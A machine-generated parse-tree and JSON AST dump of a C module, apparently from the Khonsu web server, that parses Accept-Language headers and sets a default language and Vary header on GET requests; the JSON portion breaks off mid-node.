if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }" (while) "while" (parenthesized_expression) "(consp (a))" (() "(" (call_expression) "consp (a)" (identifier) "consp" (argument_list) "(a)" (() "(" (identifier) "a" ()) ")" ()) ")" (compound_statement) "{\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }" ({) "{" (expression_statement) "a2 = car (a);" (assignment_expression) "a2 = car (a)" (identifier) "a2" (=) "=" (call_expression) "car (a)" (identifier) "car" (argument_list) "(a)" (() "(" (identifier) "a" ()) ")" (;) ";" (expression_statement) "a3 = car (a2);" (assignment_expression) "a3 = car (a2)" (identifier) "a3" (=) "=" (call_expression) "car (a2)" (identifier) "car" (argument_list) "(a2)" (() "(" (identifier) "a2" ()) ")" (;) ";" (if_statement) "if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }" (if) "if" (parenthesized_expression) "(truep (equalp (a3, sym_get)))" (() "(" (call_expression) "truep (equalp (a3, sym_get))" (identifier) "truep" (argument_list) "(equalp (a3, sym_get))" (() "(" (call_expression) "equalp (a3, sym_get)" (identifier) "equalp" (argument_list) "(a3, sym_get)" (() "(" (identifier) "a3" (,) "," (identifier) "sym_get" ()) ")" ()) ")" ()) ")" (compound_statement) "{\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }" ({) "{" (declaration) "sexpr t1 = cdr (a2), e = car (t1);" (type_identifier) "sexpr" (init_declarator) "t1 = cdr (a2)" (identifier) "t1" (=) "=" (call_expression) "cdr (a2)" (identifier) "cdr" (argument_list) "(a2)" (() "(" (identifier) "a2" ()) ")" (,) "," (init_declarator) "e = car (t1)" (identifier) "e" (=) "=" (call_expression) "car (t1)" (identifier) "car" (argument_list) "(t1)" (() "(" (identifier) "t1" ()) ")" (;) ";" (if_statement) "if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }" (if) "if" (parenthesized_expression) "(environmentp (e))" (() "(" (call_expression) "environmentp (e)" (identifier) "environmentp" (argument_list) "(e)" (() "(" (identifier) "e" ()) ")" ()) ")" (compound_statement) "{\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }" ({) "{" (expression_statement) "e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));" (assignment_expression) "e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))" (identifier) "e" (=) "=" (call_expression) "lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))" (identifier) "lx_environment_bind" (argument_list) "(e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))" (() "(" (identifier) "e" (,) "," (identifier) "sym_language" (,) "," (call_expression) "get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language))" (identifier) "get_acceptable_languages" (argument_list) "(lx_environment_lookup (e, sym_accept_language))" (() "(" (call_expression) "lx_environment_lookup (e, sym_accept_language)" (identifier) "lx_environment_lookup" (argument_list) "(e, sym_accept_language)" (() "(" (identifier) "e" (,) "," (identifier) "sym_accept_language" ()) ")" ()) ")" ()) ")" (;) ";" (}) "}" (else_clause) "else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }" (else) "else" (compound_statement) "{\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }" ({) "{" (expression_statement) "e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));" (assignment_expression) "e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))" (identifier) "e" (=) "=" (call_expression) "lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))" (identifier) "lx_make_environment" (argument_list) "(cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))" (() "(" (call_expression) "cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list)" (identifier) "cons" (argument_list) "(cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list)" (() "(" (call_expression) "cons (sym_language,\n get_acceptable_languages (sx_nonexistent))" (identifier) "cons" (argument_list) "(sym_language,\n get_acceptable_languages (sx_nonexistent))" (() "(" (identifier) "sym_language" (,) "," (call_expression) "get_acceptable_languages (sx_nonexistent)" (identifier) "get_acceptable_languages" (argument_list) "(sx_nonexistent)" (() "(" (identifier) "sx_nonexistent" ()) ")" ()) ")" (,) "," (identifier) "sx_end_of_list" ()) ")" ()) ")" (;) ";" (}) "}" (expression_statement) "e = lx_environment_bind (e, sym_Vary, str_Accept_Language);" (assignment_expression) "e = lx_environment_bind (e, sym_Vary, str_Accept_Language)" (identifier) "e" (=) "=" (call_expression) "lx_environment_bind (e, sym_Vary, str_Accept_Language)" (identifier) "lx_environment_bind" (argument_list) "(e, sym_Vary, str_Accept_Language)" (() "(" (identifier) "e" (,) "," (identifier) "sym_Vary" (,) "," (identifier) "str_Accept_Language" ()) ")" (;) ";" (expression_statement) "r = cons (cons (sym_get, cons (e, cdr (t1))), r);" (assignment_expression) "r = cons (cons (sym_get, cons (e, cdr (t1))), r)" (identifier) "r" (=) "=" (call_expression) "cons (cons (sym_get, cons (e, cdr (t1))), r)" (identifier) "cons" (argument_list) "(cons (sym_get, cons (e, cdr (t1))), r)" (() "(" (call_expression) "cons (sym_get, cons (e, cdr (t1)))" (identifier) "cons" (argument_list) "(sym_get, cons (e, cdr (t1)))" (() "(" (identifier) "sym_get" (,) "," (call_expression) "cons (e, cdr (t1))" (identifier) "cons" (argument_list) "(e, cdr (t1))" (() "(" (identifier) "e" (,) "," (call_expression) "cdr (t1)" (identifier) "cdr" (argument_list) "(t1)" (() "(" (identifier) "t1" ()) ")" ()) ")" ()) ")" (,) "," (identifier) "r" ()) ")" (;) ";" (}) "}" (else_clause) "else\n {\n r = cons (a2, r);\n }" (else) "else" (compound_statement) "{\n r = cons (a2, r);\n }" ({) "{" (expression_statement) "r = cons (a2, r);" (assignment_expression) "r = cons (a2, r)" (identifier) "r" (=) "=" (call_expression) "cons (a2, r)" (identifier) "cons" (argument_list) "(a2, r)" (() "(" (identifier) "a2" (,) "," (identifier) "r" ()) ")" (;) ";" (}) "}" (expression_statement) "a = cdr (a);" (assignment_expression) "a = cdr (a)" (identifier) "a" (=) "=" (call_expression) "cdr (a)" (identifier) "cdr" (argument_list) "(a)" (() "(" (identifier) "a" ()) ")" (;) ";" (}) "}" (expression_statement) "relay_sub (sx_reverse (r));" (call_expression) "relay_sub (sx_reverse (r))" (identifier) "relay_sub" (argument_list) "(sx_reverse (r))" (() "(" (call_expression) "sx_reverse (r)" (identifier) "sx_reverse" (argument_list) "(r)" (() "(" (identifier) "r" ()) ")" ()) ")" (;) ";" (return_statement) "return sx_nonexistent;" (return) "return" (identifier) "sx_nonexistent" (;) ";" (}) "}" (function_definition) "int cmain ()\n{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));\n\n while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }\n\n return 0;\n}" (primitive_type) "int" (function_declarator) "cmain ()" (identifier) "cmain" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));\n\n while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }\n\n return 0;\n}" ({) "{" (expression_statement) "kho_configure_callback = configure_callback;" (assignment_expression) "kho_configure_callback = configure_callback" (identifier) "kho_configure_callback" (=) "=" (identifier) "configure_callback" (;) ";" (expression_statement) "initialise_khonsu ();" (call_expression) "initialise_khonsu ()" (identifier) "initialise_khonsu" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));" (assignment_expression) "kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request))" (identifier) "kho_environment" (=) "=" (call_expression) "lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request))" (identifier) "lx_environment_bind" (argument_list) "(kho_environment, sym_request, lx_foreign_lambda (sym_request, request))" (() "(" (identifier) "kho_environment" (,) "," (identifier) "sym_request" (,) "," (call_expression) "lx_foreign_lambda (sym_request, request)" (identifier) "lx_foreign_lambda" (argument_list) "(sym_request, request)" (() "(" (identifier) "sym_request" (,) "," (identifier) "request" ()) ")" ()) ")" (;) ";" (while_statement) "while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }" (while) "while" (parenthesized_expression) "(multiplex () != mx_nothing_to_do)" (() "(" (binary_expression) "multiplex () != mx_nothing_to_do" (call_expression) "multiplex ()" (identifier) "multiplex" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (identifier) "mx_nothing_to_do" ()) ")" (compound_statement) "{\n// gc_invoke();\n }" ({) "{" (comment) "// gc_invoke();" (}) "}" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}"
1,035
0
{"language": "c", "success": true, "metadata": {"lines": 156, "avg_line_length": 31.37, "nodes": 608, "errors": 0, "source_hash": "bc6c65b04ef897e481ac319ea7a69983efe85d297e63fa332ebdf2abe65cbf59", "categorized_nodes": 440}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <khonsu/khonsu.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<khonsu/khonsu.h>", "parent": 0, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 26}}, {"id": 3, "type": "preproc_include", "text": "#include <seteh/lambda.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<seteh/lambda.h>", "parent": 3, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 25}}, {"id": 6, "type": "preproc_include", "text": "#include <curie/multiplex.h>\n", "parent": null, "children": [7, 8], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<curie/multiplex.h>", "parent": 6, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 28}}, {"id": 9, "type": "preproc_include", "text": "#include <curie/memory.h>\n", "parent": null, "children": [10, 11], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<curie/memory.h>", "parent": 9, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 25}}, {"id": 12, "type": "preproc_include", "text": "#include <curie/filesystem.h>\n", "parent": null, "children": [13, 14], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<curie/filesystem.h>", "parent": 12, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 29}}, {"id": 15, "type": "preproc_include", "text": "#include <curie/gc.h>\n", "parent": null, "children": [16, 17], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 34, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<curie/gc.h>", "parent": 15, "children": [], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 21}}, {"id": 18, "type": "call_expression", "text": "define_symbol (sym_accept_language, \"accept-language\")", "parent": null, "children": [19, 20], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 55}}, {"id": 19, "type": "identifier", "text": "define_symbol", "parent": 18, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 13}}, {"id": 20, "type": "argument_list", "text": "(sym_accept_language, \"accept-language\")", "parent": 18, "children": [21, 22], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 55}}, {"id": 21, "type": "identifier", "text": "sym_accept_language", "parent": 20, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 34}}, {"id": 22, "type": "string_literal", "text": "\"accept-language\"", "parent": 20, "children": [], "start_point": {"row": 35, "column": 37}, "end_point": {"row": 35, "column": 54}}, {"id": 23, "type": "call_expression", "text": "define_symbol (sym_Vary, \"Vary\")", "parent": null, "children": [24, 25], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 44}}, {"id": 24, "type": "identifier", "text": "define_symbol", "parent": 23, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 13}}, {"id": 25, "type": "argument_list", "text": "(sym_Vary, \"Vary\")", "parent": 23, "children": [26, 27], "start_point": {"row": 36, "column": 14}, "end_point": {"row": 36, "column": 44}}, {"id": 26, "type": "identifier", "text": "sym_Vary", "parent": 25, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 23}}, {"id": 27, "type": "string_literal", "text": "\"Vary\"", "parent": 25, "children": [], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 43}}, {"id": 28, "type": "call_expression", "text": "define_symbol (sym_default_language, \"default-language\")", "parent": null, "children": [29, 30], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 56}}, {"id": 29, "type": "identifier", "text": "define_symbol", "parent": 28, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 13}}, {"id": 30, "type": "argument_list", "text": "(sym_default_language, \"default-language\")", "parent": 28, "children": [31, 32], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 56}}, {"id": 31, "type": "identifier", "text": "sym_default_language", "parent": 30, "children": [], "start_point": {"row": 37, "column": 15}, "end_point": {"row": 37, "column": 35}}, {"id": 32, "type": "string_literal", "text": "\"default-language\"", "parent": 30, "children": [], "start_point": {"row": 37, "column": 37}, "end_point": {"row": 37, "column": 55}}, {"id": 33, "type": "call_expression", "text": "define_string (str_Accept_Language, \"Accept-Language\")", "parent": null, "children": [34, 35], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 55}}, {"id": 34, "type": "identifier", "text": "define_string", "parent": 33, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 13}}, {"id": 35, "type": "argument_list", "text": "(str_Accept_Language, \"Accept-Language\")", "parent": 33, "children": [36, 37], "start_point": {"row": 38, "column": 14}, "end_point": {"row": 38, "column": 55}}, {"id": 36, "type": "identifier", "text": "str_Accept_Language", "parent": 35, "children": [], "start_point": {"row": 38, "column": 15}, "end_point": {"row": 38, "column": 34}}, {"id": 37, "type": "string_literal", "text": "\"Accept-Language\"", "parent": 35, "children": [], "start_point": {"row": 38, "column": 37}, "end_point": {"row": 38, "column": 54}}, {"id": 38, "type": "declaration", "text": "static sexpr default_language = sx_nonexistent;", "parent": null, "children": [39, 40], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 47}}, {"id": 39, "type": "type_identifier", "text": "sexpr", "parent": 38, "children": [], "start_point": {"row": 40, "column": 7}, "end_point": {"row": 40, "column": 12}}, {"id": 40, "type": "init_declarator", "text": "default_language = sx_nonexistent", "parent": 38, "children": [41, 42, 43], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 40, "column": 46}}, {"id": 41, "type": "identifier", "text": "default_language", "parent": 40, "children": [], "start_point": {"row": 40, "column": 13}, "end_point": {"row": 40, "column": 29}}, {"id": 42, "type": "=", "text": "=", "parent": 40, "children": [], "start_point": {"row": 40, "column": 30}, "end_point": {"row": 40, "column": 31}}, {"id": 43, "type": "identifier", "text": "sx_nonexistent", "parent": 40, "children": [], "start_point": {"row": 40, "column": 32}, "end_point": {"row": 40, "column": 46}}, {"id": 44, "type": "function_definition", "text": "static void configure_callback (sexpr sx)\n{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }\n}", "parent": null, "children": [45, 46], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 50, "column": 1}}, {"id": 45, "type": "primitive_type", "text": "void", "parent": 44, "children": [], "start_point": {"row": 42, "column": 7}, "end_point": {"row": 42, "column": 11}}, {"id": 46, "type": "function_declarator", "text": "configure_callback (sexpr sx)", "parent": 44, "children": [47, 48], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 41}}, {"id": 47, "type": "identifier", "text": "configure_callback", "parent": 46, "children": [], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 30}}, {"id": 48, "type": "parameter_list", "text": "(sexpr sx)", "parent": 46, "children": [49], "start_point": {"row": 42, "column": 31}, "end_point": {"row": 42, "column": 41}}, {"id": 49, "type": "parameter_declaration", "text": "sexpr sx", "parent": 48, "children": [50, 51], "start_point": {"row": 42, "column": 32}, "end_point": {"row": 42, "column": 40}}, {"id": 50, "type": "type_identifier", "text": "sexpr", "parent": 49, "children": [], "start_point": {"row": 42, "column": 32}, "end_point": {"row": 42, "column": 37}}, {"id": 51, "type": "identifier", "text": "sx", "parent": 49, "children": [], "start_point": {"row": 42, "column": 38}, "end_point": {"row": 42, "column": 40}}, {"id": 52, "type": "declaration", "text": "sexpr a = car (sx);", "parent": 44, "children": [53, 54], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 23}}, {"id": 53, "type": "type_identifier", "text": "sexpr", "parent": 52, "children": [], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 9}}, {"id": 54, "type": "init_declarator", "text": "a = car (sx)", "parent": 52, "children": [55, 56, 57], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 22}}, {"id": 55, "type": "identifier", "text": "a", "parent": 54, "children": [], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 11}}, {"id": 56, "type": "=", "text": "=", "parent": 54, "children": [], "start_point": {"row": 44, "column": 12}, "end_point": {"row": 44, "column": 13}}, {"id": 57, "type": "call_expression", "text": "car (sx)", "parent": 54, "children": [58, 59], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 22}}, {"id": 58, "type": "identifier", "text": "car", "parent": 57, "children": [], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 17}}, {"id": 59, "type": "argument_list", "text": "(sx)", "parent": 57, "children": [60], "start_point": {"row": 44, "column": 18}, "end_point": {"row": 44, "column": 22}}, {"id": 60, "type": "identifier", "text": "sx", "parent": 59, "children": [], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 21}}, {"id": 61, "type": "if_statement", "text": "if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }", "parent": 44, "children": [62], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 49, "column": 5}}, {"id": 62, "type": "parenthesized_expression", "text": "(truep (equalp (a, sym_default_language)))", "parent": 61, "children": [63], "start_point": {"row": 46, "column": 7}, "end_point": {"row": 46, "column": 49}}, {"id": 63, "type": "call_expression", "text": "truep (equalp (a, sym_default_language))", "parent": 62, "children": [64, 65], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 48}}, {"id": 64, "type": "identifier", "text": "truep", "parent": 63, "children": [], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 13}}, {"id": 65, "type": "argument_list", "text": "(equalp (a, sym_default_language))", "parent": 63, "children": [66], "start_point": {"row": 46, "column": 14}, "end_point": {"row": 46, "column": 48}}, {"id": 66, "type": "call_expression", "text": "equalp (a, sym_default_language)", "parent": 65, "children": [67, 68], "start_point": {"row": 46, "column": 15}, "end_point": {"row": 46, "column": 47}}, {"id": 67, "type": "identifier", "text": "equalp", "parent": 66, "children": [], "start_point": {"row": 46, "column": 15}, "end_point": {"row": 46, "column": 21}}, {"id": 68, "type": "argument_list", "text": "(a, sym_default_language)", "parent": 66, "children": [69, 70], "start_point": {"row": 46, "column": 22}, "end_point": {"row": 46, "column": 47}}, {"id": 69, "type": "identifier", "text": "a", "parent": 68, "children": [], "start_point": {"row": 46, "column": 23}, "end_point": {"row": 46, "column": 24}}, {"id": 70, "type": "identifier", "text": "sym_default_language", "parent": 68, "children": [], "start_point": {"row": 46, "column": 26}, "end_point": {"row": 46, "column": 46}}, {"id": 71, "type": "assignment_expression", "text": "default_language = car (cdr (sx))", "parent": 61, "children": [72, 73, 74], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 41}}, {"id": 72, "type": "identifier", "text": "default_language", "parent": 71, "children": [], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 24}}, {"id": 73, "type": "=", "text": "=", "parent": 71, "children": [], "start_point": {"row": 48, "column": 25}, "end_point": {"row": 48, "column": 26}}, {"id": 74, "type": "call_expression", "text": "car (cdr (sx))", "parent": 71, "children": [75, 76], "start_point": {"row": 48, "column": 27}, "end_point": {"row": 48, "column": 41}}, {"id": 75, "type": "identifier", "text": "car", "parent": 74, "children": [], "start_point": {"row": 48, "column": 27}, "end_point": {"row": 48, "column": 30}}, {"id": 76, "type": "argument_list", "text": "(cdr (sx))", "parent": 74, "children": [77], "start_point": {"row": 48, "column": 31}, "end_point": {"row": 48, "column": 41}}, {"id": 77, "type": "call_expression", "text": "cdr (sx)", "parent": 76, "children": [78, 79], "start_point": {"row": 48, "column": 32}, "end_point": {"row": 48, "column": 40}}, {"id": 78, "type": "identifier", "text": "cdr", "parent": 77, "children": [], "start_point": {"row": 48, "column": 32}, "end_point": {"row": 48, "column": 35}}, {"id": 79, "type": "argument_list", "text": "(sx)", "parent": 77, "children": [80], "start_point": {"row": 48, "column": 36}, "end_point": {"row": 48, "column": 40}}, {"id": 80, "type": "identifier", "text": "sx", "parent": 79, "children": [], "start_point": {"row": 48, "column": 37}, "end_point": {"row": 48, "column": 39}}, {"id": 81, "type": "function_definition", "text": "static sexpr get_acceptable_languages (sexpr lq)\n{\n sexpr lcodes = sx_end_of_list;\n char have_default = 0;\n\n if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }\n\n\n if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }\n\n return lcodes;\n}", "parent": null, "children": [82, 83], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 129, "column": 1}}, {"id": 82, "type": "type_identifier", "text": "sexpr", "parent": 81, "children": [], "start_point": {"row": 52, "column": 7}, "end_point": {"row": 52, "column": 12}}, {"id": 83, "type": "function_declarator", "text": "get_acceptable_languages (sexpr lq)", "parent": 81, "children": [84, 85], "start_point": {"row": 52, "column": 13}, "end_point": {"row": 52, "column": 48}}, {"id": 84, "type": "identifier", "text": "get_acceptable_languages", "parent": 83, "children": [], "start_point": {"row": 52, "column": 13}, "end_point": {"row": 52, "column": 37}}, {"id": 85, "type": "parameter_list", "text": "(sexpr lq)", "parent": 83, "children": [86], "start_point": {"row": 52, "column": 38}, "end_point": {"row": 52, "column": 48}}, {"id": 86, "type": "parameter_declaration", "text": "sexpr lq", "parent": 85, "children": [87, 88], "start_point": {"row": 52, "column": 39}, "end_point": {"row": 52, "column": 47}}, {"id": 87, "type": "type_identifier", "text": "sexpr", "parent": 86, "children": [], "start_point": {"row": 52, "column": 39}, "end_point": {"row": 52, "column": 44}}, {"id": 88, "type": "identifier", "text": "lq", "parent": 86, "children": [], "start_point": {"row": 52, "column": 45}, "end_point": {"row": 52, "column": 47}}, {"id": 89, "type": "declaration", "text": "sexpr lcodes = sx_end_of_list;", "parent": 81, "children": [90, 91], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 34}}, {"id": 90, "type": "type_identifier", "text": "sexpr", "parent": 89, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 9}}, {"id": 91, "type": "init_declarator", "text": "lcodes = sx_end_of_list", "parent": 89, "children": [92, 93, 94], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 33}}, {"id": 92, "type": "identifier", "text": "lcodes", "parent": 91, "children": [], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 16}}, {"id": 93, "type": "=", "text": "=", "parent": 91, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 18}}, {"id": 94, "type": "identifier", "text": "sx_end_of_list", "parent": 91, "children": [], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 33}}, {"id": 95, "type": "declaration", "text": "char have_default = 0;", "parent": 81, "children": [96, 97], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 26}}, {"id": 96, "type": "primitive_type", "text": "char", "parent": 95, "children": [], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 8}}, {"id": 97, "type": "init_declarator", "text": "have_default = 0", "parent": 95, "children": [98, 99, 100], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 25}}, {"id": 98, "type": "identifier", "text": "have_default", "parent": 97, "children": [], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 21}}, {"id": 99, "type": "=", "text": "=", "parent": 97, "children": [], "start_point": {"row": 55, "column": 22}, "end_point": {"row": 55, "column": 23}}, {"id": 100, "type": "number_literal", "text": "0", "parent": 97, "children": [], "start_point": {"row": 55, "column": 24}, "end_point": {"row": 55, "column": 25}}, {"id": 101, "type": "if_statement", "text": "if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm 